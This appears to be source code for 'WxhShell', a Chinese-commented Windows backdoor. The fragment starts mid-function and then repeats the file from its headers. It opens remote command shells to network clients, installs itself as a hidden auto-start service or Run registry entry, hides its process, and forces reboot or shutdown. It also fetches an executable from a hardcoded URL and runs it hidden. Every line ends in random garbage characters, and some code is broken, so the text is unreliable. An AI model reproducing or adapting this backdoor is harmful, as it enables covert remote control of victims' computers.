    if(Boot(SHUTDOWN))  ^We}i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t Davp:M1v  
    else { %gQUog  
    closesocket(wsh); "TP~TjXfq  
    ExitThread(0); (?g+.]Dt,  
    } B9Mp3[   
    break; %wXj P`#  
    } omGzyuPF  
  // 获取shell F3K<-JK+  
  case 's': { MkHkM  
    CmdShell(wsh); Rc3!u^?u  
    closesocket(wsh); /CH]'u^j  
    ExitThread(0); <Y6zJ#BD  
    break; x[$KZGK+GL  
  } tSux5 yV  
  // 退出 ce#Iu#qT  
  case 'x': { >kxRsiKV  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @/?i|!6  
    CloseIt(wsh); " dGN0i  
    break; 4:S]n19nq  
    } .p.( \5Fo  
  // 离开 H3*] }=   
  case 'q': { 8V}|(b#  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4F9!3[}qF  
    closesocket(wsh); + kT ]qH  
    WSACleanup(); iqdU?&.;  
    exit(1); =PQ4S2Q  
    break; F\&{>&  
        } Qu,R6G  
  } a] 7g\rg)  
  } >e& L"  
0;@>jo6,!  
  // 提示信息 Y#Q!mbp  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tc/  
} Tg"? TZO~  
  } .)$MZyo  
(&Jo. <  
  return; TE$6=;  
} Z1I.f"XY  
j'U1lEZm2  
// shell模块句柄 L%(NXSfu7  
int CmdShell(SOCKET sock) Axns  
{ I<CrEL<5}~  
STARTUPINFO si; hrq% {!Z  
ZeroMemory(&si,sizeof(si)); W90!*1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; O1c:X7lHc  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; W>i%sHH6  
PROCESS_INFORMATION ProcessInfo; CEI"p2  
char cmdline[]="cmd"; 5 ,-8oEUL  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]vB\yQE  
  return 0; xSd&xwP  
} {&>rKCi  
+|d]\WlJ  
// 自身启动模式 ~WTkX(\  
int StartFromService(void) #"KC29!Yj  
{ {icTfPR4E  
typedef struct d8vf kV B  
{ {R-o8N  
  DWORD ExitStatus; 5v)bs\x6  
  DWORD PebBaseAddress; Pb>/b\&JS  
  DWORD AffinityMask;  |@'O3KA  
  DWORD BasePriority; eGq7+  
  ULONG UniqueProcessId; 3k9n*jY0  
  ULONG InheritedFromUniqueProcessId; PIa!N Py  
}   PROCESS_BASIC_INFORMATION; s$>n U  
:K]7(y7>  
PROCNTQSIP NtQueryInformationProcess; O# ZZ PJ"  
u-,}ug|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -grf7w^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; eIalcBY  
v;e8W9M  
  HANDLE             hProcess; \alV #>J5  
  PROCESS_BASIC_INFORMATION pbi; vuPNru" 2  
\ m~?yq8H  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); iBAP,cR?`  
  if(NULL == hInst ) return 0; }|=/v( D  
<A)M^,#o  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); aqI"4v]~b  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); iOURS  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Ql)hIf$Oo  
*"8Ls0!  
  if (!NtQueryInformationProcess) return 0; 8i`>],,ch  
%r(WS_%K|  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |} b+$J  
  if(!hProcess) return 0; j0mN4Ny  
h9ScN(|0y  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; v>} +->f  
(8h4\utA  
  CloseHandle(hProcess);  rvd $4l^  
1]2]l*&3  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #mu L-V  
if(hProcess==NULL) return 0; +n;nvf}(  
f(m, !  
HMODULE hMod; $C\ETQ@  
char procName[255]; >Dr(%z6CN  
unsigned long cbNeeded; 0wv#AT  
EYq?NL='  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~%/Rc`  
*pJGp:{6V?  
  CloseHandle(hProcess); B]"`}jn  
~Xxmj!nOf  
if(strstr(procName,"services")) return 1; // 以服务启动 (CxA5u1|l  
ZiJF.(JS  
  return 0; // 注册表启动 ?8V.iHJk  
} ,D+ydr  
W%g*sc*+  
// 主模块 TBBnsj6e  
int StartWxhshell(LPSTR lpCmdLine) a'i Q("  
{  lln"c  
  SOCKET wsl; f)/Z7*Z  
BOOL val=TRUE; { ] R'U/  
  int port=0; 1XSnnkJm  
  struct sockaddr_in door; BkB>eE1)Ea  
K?^;|m-  
  if(wscfg.ws_autoins) Install(); w== BSH[  
{q0+PzgP  
port=atoi(lpCmdLine); JnBUW"  
l'+3 6  
if(port<=0) port=wscfg.ws_port; +NPL.b|  
QO'Hyf t  
  WSADATA data; k6Kc{kY  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; X( N~tE  
R{#< NE  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   q9/v\~m  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); g<:Lcg"u  
  door.sin_family = AF_INET; ?gE=hh  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); bBjr hi  
  door.sin_port = htons(port); <,]:jgX  
MgJ6{xzz  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { cfLLFPhv)  
closesocket(wsl); u;`]U$Qq9  
return 1; T+0=Ou"N  
} )/;KxaKt  
n1f8jS+'}  
  if(listen(wsl,2) == INVALID_SOCKET) { ?*fa5=ql  
closesocket(wsl); iE~!?N|a3  
return 1; vhrf89-q  
} 7OV^>"S  
  Wxhshell(wsl); H bKE;N  
  WSACleanup(); m!V,W*RNr  
E=sh^Q(A  
return 0; zKQ<Zr  
5PeS/%uT@  
} 9p{ 4-]  
D p'urf\*$  
// 以NT服务方式启动 -/Q5?0z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;s B=f  
{ = L!&Z  
DWORD   status = 0; DSrU7#  
  DWORD   specificError = 0xfffffff; P3zUaN \c  
UUt"8]@[  
  serviceStatus.dwServiceType     = SERVICE_WIN32; F]$ Nu  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; n1-p/a.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3<xE_ \DR  
  serviceStatus.dwWin32ExitCode     = 0; n ay\)  
  serviceStatus.dwServiceSpecificExitCode = 0; ^h[6{F~J  
  serviceStatus.dwCheckPoint       = 0; O=0p}{3l  
  serviceStatus.dwWaitHint       = 0; -^@FZ R^Y  
W5R/Ub@g  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); F @PPhzZ  
  if (hServiceStatusHandle==0) return; x93@[B*%  
A2'i~_e  
status = GetLastError(); >^Nnhnr  
  if (status!=NO_ERROR) S:xXD^n#H  
{ >F$9&s&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; e={O&9Z  
    serviceStatus.dwCheckPoint       = 0;  {53FR  
    serviceStatus.dwWaitHint       = 0; =E-x0sr?  
    serviceStatus.dwWin32ExitCode     = status; #7uH>\r  
    serviceStatus.dwServiceSpecificExitCode = specificError; (XZ[-M7  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }+,Q&]>~  
    return; |~9rak,  
  } TegdB|y7O  
t[|oSF#i  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; RD`|Z~:q:K  
  serviceStatus.dwCheckPoint       = 0; iq;\},  
  serviceStatus.dwWaitHint       = 0; W~ yb>+u  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <a R  
} xQ9t1b|{e  
WB jJ)vCA.  
// 处理NT服务事件,比如:启动、停止 u Kx:7"KD  
VOID WINAPI NTServiceHandler(DWORD fdwControl) v^9eTeFO  
{ L$ T2 bul  
switch(fdwControl) t>[QW`EeP  
{ e~vO   
case SERVICE_CONTROL_STOP: %`C e#b()'  
  serviceStatus.dwWin32ExitCode = 0; pSx5ume95"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; frcAXh9  
  serviceStatus.dwCheckPoint   = 0; a~2Jf @I3  
  serviceStatus.dwWaitHint     = 0; KloX.y)q  
  { z%}"=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ar%*NxX  
  } g`y9UYeh  
  return; dsIbr"m  
case SERVICE_CONTROL_PAUSE: jOhAXe;~X{  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; tB;PGk_6  
  break; ra~=i|s  
case SERVICE_CONTROL_CONTINUE: AbNr]w&pXC  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; w1< pQ[A  
  break; JuJW]E Q  
case SERVICE_CONTROL_INTERROGATE: MR "f)  
  break; ,ei9 ?9J1  
}; u6C_*i{2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F=F84 _+K  
} BB}WfA  
0A} X hX  
// 标准应用程序主函数 a"s2N%{  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3]S*p ErY  
{ 5Sl"1HL  
6jpzyf=~  
// 获取操作系统版本 AMrYT+1  
OsIsNt=GetOsVer(); yz [pF  
GetModuleFileName(NULL,ExeFile,MAX_PATH); \d:Q%S  
yBK$2to~  
  // 从命令行安装 kR+}7G+  
  if(strpbrk(lpCmdLine,"iI")) Install(); ij:xr% FJ  
:h,}yBJ1L  
  // 下载执行文件 ,u@:(G  
if(wscfg.ws_downexe) { G)0 4'|W  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {GtX:v#  
  WinExec(wscfg.ws_filenam,SW_HIDE); :%sG'_d  
} 6$#,$aO  
Bc!<!  
if(!OsIsNt) { )pI( <  
// 如果时win9x,隐藏进程并且设置为注册表启动 G;gsDn1t  
HideProc(); shB3[W{}!)  
StartWxhshell(lpCmdLine); {"jtR<{)  
} 7 \xCNOKh  
else C32*RNG?U  
  if(StartFromService()) x`?>j$  
  // 以服务方式启动 uou "s9  
  StartServiceCtrlDispatcher(DispatchTable); o4: e1  
else %nJo:/  
  // 普通方式启动 [vI ;A !  
  StartWxhshell(lpCmdLine); M_0f{  
R?{_Q<17  
return 0; bV:<%l]  
} )E9c6'd  
( x% 4*  
L0VZ>!*o  
"} :CM_  
=========================================== ;u`8pF!_eE  
idHI)6!  
.{eMN[ n@  
%i7U+v(d  
L'Iw9RAJ  
ftmP dha%+  
" I>rTqOK  
{$t*XTY6R  
#include <stdio.h> ZxO o&YR3  
#include <string.h> {KDN|o+%  
#include <windows.h> P,zQl;  
#include <winsock2.h> V~jp  
#include <winsvc.h> 0"j:-1  
#include <urlmon.h> |L*=\%t8  
l4mRNYv)z  
#pragma comment (lib, "Ws2_32.lib") 6wT ])84  
#pragma comment (lib, "urlmon.lib") S~r75] "  
m*1  
#define MAX_USER   100 // 最大客户端连接数 =x?WZMO  
#define BUF_SOCK   200 // sock buffer +<$nZ=,hsy  
#define KEY_BUFF   255 // 输入 buffer Zs|Ga,T  
3ouy-SQ  
#define REBOOT     0   // 重启 C ]B P}MY<  
#define SHUTDOWN   1   // 关机 byP<!p*  
34CcZEQQ  
#define DEF_PORT   5000 // 监听端口 ]}Ys4(}  
B T}l"  
#define REG_LEN     16   // 注册表键长度 I lO,Ql  
#define SVC_LEN     80   // NT服务名长度 [&P @0F n  
A ?tna6W:  
// 从dll定义API <!G\%C  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); k8J zey]X  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); % u VTf  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); k$5l kP.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); C}uzzG6s  
atd;)o0*0  
// wxhshell配置信息 > jiez,  
struct WSCFG { z.(DDj  
  int ws_port;         // 监听端口 J9t?;3  
  char ws_passstr[REG_LEN]; // 口令 H_XspiB@  
  int ws_autoins;       // 安装标记, 1=yes 0=no f tl$P[T  
  char ws_regname[REG_LEN]; // 注册表键名  /s^42  
  char ws_svcname[REG_LEN]; // 服务名 <7)sS<I  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ^kC!a>&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 teb(gUy}L6  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 f`;w@gR`=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no sMVk]Mb  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" vP#*if[V5  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 B1FJAKI);  
}8YY8|]LI  
}; Wj!+ E{y<r  
RcJtVOrd  
// default Wxhshell configuration %A3m%&(m&%  
struct WSCFG wscfg={DEF_PORT, Hn(Eut7%  
    "xuhuanlingzhe", qe(gKKA%q  
    1, mrsmul{  
    "Wxhshell", %rhZH^2  
    "Wxhshell", `YwJ.E  
            "WxhShell Service", )\D{5j  
    "Wrsky Windows CmdShell Service", >l%8d'=Jl  
    "Please Input Your Password: ", Y+),c14#  
  1, 2<!IYEyT  
  "http://www.wrsky.com/wxhshell.exe", ){)-}M  
  "Wxhshell.exe" CLmo%"\ s  
    }; *aS+XnT/  
JF~9efWe>  
// 消息定义模块 d^M*%az  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; djnES,^%9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #C.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .hG*mXw>  
char *msg_ws_ext="\n\rExit."; }ssja,;  
char *msg_ws_end="\n\rQuit."; W 2[]m>;  
char *msg_ws_boot="\n\rReboot..."; (K8Ob3zN_  
char *msg_ws_poff="\n\rShutdown..."; n6t@ e^  
char *msg_ws_down="\n\rSave to "; i\^4EQ  
 7 FY2a  
char *msg_ws_err="\n\rErr!"; P%Vq#5  
char *msg_ws_ok="\n\rOK!"; OE0G*`m  
Wq+GlB*  
char ExeFile[MAX_PATH]; ? _bFe![q  
int nUser = 0; #\=7A  
HANDLE handles[MAX_USER]; T\$i=,_$  
int OsIsNt; b+:J?MR;}  
#| ,cy,v4  
SERVICE_STATUS       serviceStatus; T^`; wD  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !Tv3WQ@  
1|"BpX~D  
// 函数声明 NZ i3U  
int Install(void); ILAn2W  
int Uninstall(void); LFW`ISY{  
int DownloadFile(char *sURL, SOCKET wsh); Mth:V45G|  
int Boot(int flag); +e2:?d@  
void HideProc(void); `vOL3`P  
int GetOsVer(void); &*7KQd  
int Wxhshell(SOCKET wsl); $qYP|W  
void TalkWithClient(void *cs); UQ0<sI=  
int CmdShell(SOCKET sock); >O24#!9XW  
int StartFromService(void); Ky%lu^  
int StartWxhshell(LPSTR lpCmdLine);  `ROHB@-  
m Rw0R{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); J=$\-  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7CuZ7!>$  
egG<"e*W}N  
// 数据结构和表定义 X)~wB7_0G  
SERVICE_TABLE_ENTRY DispatchTable[] = : (X3?%  
{ b\`S[  
{wscfg.ws_svcname, NTServiceMain}, r*l3Hrho~K  
{NULL, NULL} fM"*;LN!N  
}; 1] ~w?)..'  
p+V#86(3  
// 自我安装 /o m++DxV  
int Install(void) rfEWh Vy(}  
{ 1s.2z[B~  
  char svExeFile[MAX_PATH]; Wj(#!\ 7F  
  HKEY key; }H\I[5*  
  strcpy(svExeFile,ExeFile); Yjjh}R#  
2,q*[Kh1  
// 如果是win9x系统,修改注册表设为自启动 @pYEzizP7  
if(!OsIsNt) { z.SC^/\o|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pCh v;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W~ET/h  
  RegCloseKey(key); ?![[la+f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A'KH_])  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tWIJ,_8l  
  RegCloseKey(key); PT6]qS'1  
  return 0; n^T,R  
    } 2Ckx.m&  
  } @GFB{ ;=  
} (\{k-2t*^  
else { R^*baiXVI  
yk`qF'4]  
// 如果是NT以上系统,安装为系统服务 %A$&9c%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); h0rPMd(K  
if (schSCManager!=0) Q# B0JT1  
{ T[bCY 6  
  SC_HANDLE schService = CreateService Zj_2>A  
  ( c;$ 4}U4  
  schSCManager, r\;fyeH  
  wscfg.ws_svcname, ;2<5^hgk  
  wscfg.ws_svcdisp,  m[B#k$  
  SERVICE_ALL_ACCESS, h= sNj  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , W#p7M[  
  SERVICE_AUTO_START, I x%>aee  
  SERVICE_ERROR_NORMAL, #s\@fp7A  
  svExeFile, A I.(}W4]  
  NULL,  oBkhb  
  NULL, y QW7ng7D0  
  NULL, "B_3<RSL  
  NULL, @KQ.tF*  
  NULL &<PIm  
  ); Qn!mS[l  
  if (schService!=0) &J>e; X  
  { W,<q!<z\t  
  CloseServiceHandle(schService); SO$Af!S:bB  
  CloseServiceHandle(schSCManager); 4E39]vb  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =&bI-  
  strcat(svExeFile,wscfg.ws_svcname); ??,[-Oi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { x}+zhRJ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); y|5L%,i  
  RegCloseKey(key); @8|*Ndx2  
  return 0; =yf) Z^  
    } QqA=QTZ}  
  } ~3F'X  
  CloseServiceHandle(schSCManager); h'y%TOob  
} [.gk{> #  
} g+ c*VmY  
D'g,<-ahl  
return 1; MCKN.f%lP  
} H7zN|NdNw  
K^u,B3  
// 自我卸载 4&}%GH>}  
int Uninstall(void) mmTpF]t ?`  
{ YOl$sgg}  
  HKEY key; 6"Uu;Q  
tT}b_r7h(1  
if(!OsIsNt) { mZ+!8$1X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ABWn49c.  
  RegDeleteValue(key,wscfg.ws_regname); *w+'I*QSt~  
  RegCloseKey(key); }[AaI #  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nip6|dN  
  RegDeleteValue(key,wscfg.ws_regname); uvId],dQ5  
  RegCloseKey(key);  {^N,=m\  
  return 0; }"D;?$R!  
  } PkvW6,lS  
} *~#I5s\s!  
} wQhNQ(H~\  
else { daE.y_9y  
Ykxk`SJ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 7he73  
if (schSCManager!=0) I!lDKS,b  
{ Tagf7tw4  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /ZvP.VW&  
  if (schService!=0) &<A,\ M  
  { 1djZ5`+  
  if(DeleteService(schService)!=0) { d GUP|O  
  CloseServiceHandle(schService); [:8\F#KW  
  CloseServiceHandle(schSCManager); Q:A#4Z  
  return 0; gv*b`cl  
  } rzf Lp  
  CloseServiceHandle(schService); w!F>fcm  
  } i|eX X)$  
  CloseServiceHandle(schSCManager); ,'8%'xit  
} ? i{?Q,  
} N!+=5!  
cl& w/OJ#  
return 1; oD2:19M@p  
} -SsgW  
z|#*c5Y9w  
// 从指定url下载文件 nBy-/BU&  
int DownloadFile(char *sURL, SOCKET wsh) jPWONz(#  
{ Z/Rp?Jz\j/  
  HRESULT hr; Z@bgJL8 3  
char seps[]= "/"; p{Lrv%-j  
char *token; DQG%`-J  
char *file; B/a gW  
char myURL[MAX_PATH]; Y{} ub]i  
char myFILE[MAX_PATH]; };Q}C0E  
odhcD;^X1  
strcpy(myURL,sURL); wm5&5F4:  
  token=strtok(myURL,seps); #C9f?fnM  
  while(token!=NULL) x@NfN*?/+i  
  { \e86'&  
    file=token; 5CI {&E  
  token=strtok(NULL,seps); lC5zqyG  
  } %' DO FiU  
KuR]X``2  
GetCurrentDirectory(MAX_PATH,myFILE); 6n9/`D!  
strcat(myFILE, "\\"); 6 H|SiO9  
strcat(myFILE, file); g[} L ?  
  send(wsh,myFILE,strlen(myFILE),0); MJ}{Q1|*  
send(wsh,"...",3,0); <"3q5ic/Z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); lR?y tIY  
  if(hr==S_OK) 9qap#A  
return 0; |8 ` }8vo)  
else od `;XVG  
return 1; PQaTS*0SXJ  
mP)bOAU  
} U$y 9f  
w%L4O;E]*{  
// 系统电源模块 z^9oaoTl  
int Boot(int flag) &M|rRd~*  
{ Snkb^Kt  
  HANDLE hToken; [n"eD4)K|  
  TOKEN_PRIVILEGES tkp; vu( 5s  
]L3U2H`7  
  if(OsIsNt) { wDvu2iC=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); tddwnpnSw  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &eMd^l}:#  
    tkp.PrivilegeCount = 1; Y-it3q'Z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \GEz.Vb  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %n$f#Ml_r  
if(flag==REBOOT) { d(^8#4  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) d9 [j4q_  
  return 0; q^xG%YdPz+  
} L2@:?WW[  
else { QGN+f)  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Ou[`)|>  
  return 0; (BY 0b%^  
} ;Z*rY?v  
  } i$kB6B#==  
  else { f r~Eb'8  
if(flag==REBOOT) { <y7{bk~i  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) (Z<@dkO?)  
  return 0; nc1~5eo  
} #`y[75<n  
else { {XU!p: x  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) sqhMnDn[  
  return 0; 2S_u/32]W  
} g=mKTk   
} H!Gw@u]E  
$6m@gW]N  
return 1; c&PsT4Wh  
} 4L>8RiiQE;  
eFsl  
// win9x进程隐藏模块 B-g-T>8  
void HideProc(void) T[4xt,[a  
{ 6r"NU`1A;r  
OcUj_Zd  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =w`Mc\o"  
  if ( hKernel != NULL ) tD`^qMua  
  { _wXT9`|3  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {ccc[G?>.Q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }Rz,}^B  
    FreeLibrary(hKernel); g5U,   
  } XOX$uLm  
&n,v@ gt  
return; R:n|1]*f3X  
} gZ&4b'XS,  
I;}U/'RR>  
// 获取操作系统版本  ,7:GLkj  
int GetOsVer(void) (}F@0WYT^O  
{ xJ<RQCW$  
  OSVERSIONINFO winfo; Pz*BuL <  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .WSn Y71  
  GetVersionEx(&winfo); . AA# G  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) X"3p/!W.4  
  return 1; <mP_K^9c  
  else {8mJ<b>VA  
  return 0; ,Gy,bcv{  
} pS-o*!\C.  
NI"Zocp  
// 客户端句柄模块 #IGcQY  
int Wxhshell(SOCKET wsl) uxdB}H,  
{ (XR}U6^v]  
  SOCKET wsh; +Y*4/w[   
  struct sockaddr_in client; ~*1Z1aZ  
  DWORD myID; DNj<:Pdd)  
t,TlW^-  
  while(nUser<MAX_USER) auIW>0?}  
{ JK,^:tgm  
  int nSize=sizeof(client); #k<l5x`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |H=5Am  
  if(wsh==INVALID_SOCKET) return 1; wY8Vc"  
&OFVqm^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); u`B/9-K)y  
if(handles[nUser]==0) Z}zka<y6K6  
  closesocket(wsh); pqvl,G5  
else p\I3fI0i  
  nUser++; ?!F<xi:  
  } A"DGn  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); x$Wtkb0<  
aiX4;'$x!  
  return 0; wmK;0 )|H  
} PRYm1Y  
k^JgCC+  
// 关闭 socket RKMF?:  
void CloseIt(SOCKET wsh) q~18JB4WPJ  
{ EQ"_kJ>81Y  
closesocket(wsh); 6t <[-  
nUser--; F*z>B >{)  
ExitThread(0); FME,W&_d  
} %/U'Wu{*  
A$~H`W<yxB  
// 客户端请求句柄 WSF$xC /~  
void TalkWithClient(void *cs) <b4} B   
{ &9Z@P[f  
l YdATM(h  
  SOCKET wsh=(SOCKET)cs; Zq: }SU  
  char pwd[SVC_LEN]; 3 ?gfDJfE  
  char cmd[KEY_BUFF]; jA@ uV,w  
char chr[1]; 4ke.p<dG  
int i,j; m-[xrVV  
w4^ $@GtN  
  while (nUser < MAX_USER) { V#4oxkm  
*c.w:DkfB  
if(wscfg.ws_passstr) { 0jXDjk5'<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &RS)U72  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;$*tn"- ?~  
  //ZeroMemory(pwd,KEY_BUFF); >_\]c-~<  
      i=0; 2 =>3B  
  while(i<SVC_LEN) { 2nFr?Y3g,  
FAGi`X<L  
  // 设置超时 q?w%%.9]X  
  fd_set FdRead; g p9;I*!  
  struct timeval TimeOut; VK%ExMSqEh  
  FD_ZERO(&FdRead); su60j^e*  
  FD_SET(wsh,&FdRead); ]]u_Mdk  
  TimeOut.tv_sec=8; mCI5^%*0jQ  
  TimeOut.tv_usec=0; O"[#g  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); VzM (u _)  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  Cb|R  
wqE2n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +,ld;NM{  
  pwd=chr[0]; N>j*{]OY+{  
  if(chr[0]==0xd || chr[0]==0xa) { JV;VR9-l  
  pwd=0; Tz(Dhb,  
  break; 3=Xvl 58k  
  } #b&=CsW`  
  i++; Ko0T[TNkh  
    } od vUU#l  
nrTCq~LO(  
  // 如果是非法用户,关闭 socket :' !_PN  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @a]`C $ 6  
} 7,{!a56zX  
CS xB)-  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); T< <N U"n  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (WGEX(|  
X=k|SayE8  
while(1) { z)&&Ym#  
5e'**tbKH  
  ZeroMemory(cmd,KEY_BUFF); tgrZs8?  
%A@U7gqc  
      // 自动支持客户端 telnet标准   - :x6X$=  
  j=0; U,`F2yD/!  
  while(j<KEY_BUFF) { _ =(v? 2:?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;Ac!"_N?7  
  cmd[j]=chr[0]; Fz$^CMw5K  
  if(chr[0]==0xa || chr[0]==0xd) { M[Jy?b)  
  cmd[j]=0; HxShNU  
  break; WZ@$bf}f0  
  } |uA /72  
  j++; .18MMzdN  
    }  %B#8  
]!N|3"Ls  
  // 下载文件 &Mh]s\  
  if(strstr(cmd,"http://")) { LkJ-M=y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); SM`n:{N(  
  if(DownloadFile(cmd,wsh)) g^2H(}frc  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5bprhq-7  
  else ?CuwA-j  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NFb<fD[C  
  } , *Z!Bd8  
  else { 6.QzT(  
=&?BPhJE  
    switch(cmd[0]) { V)Y#m/$`  
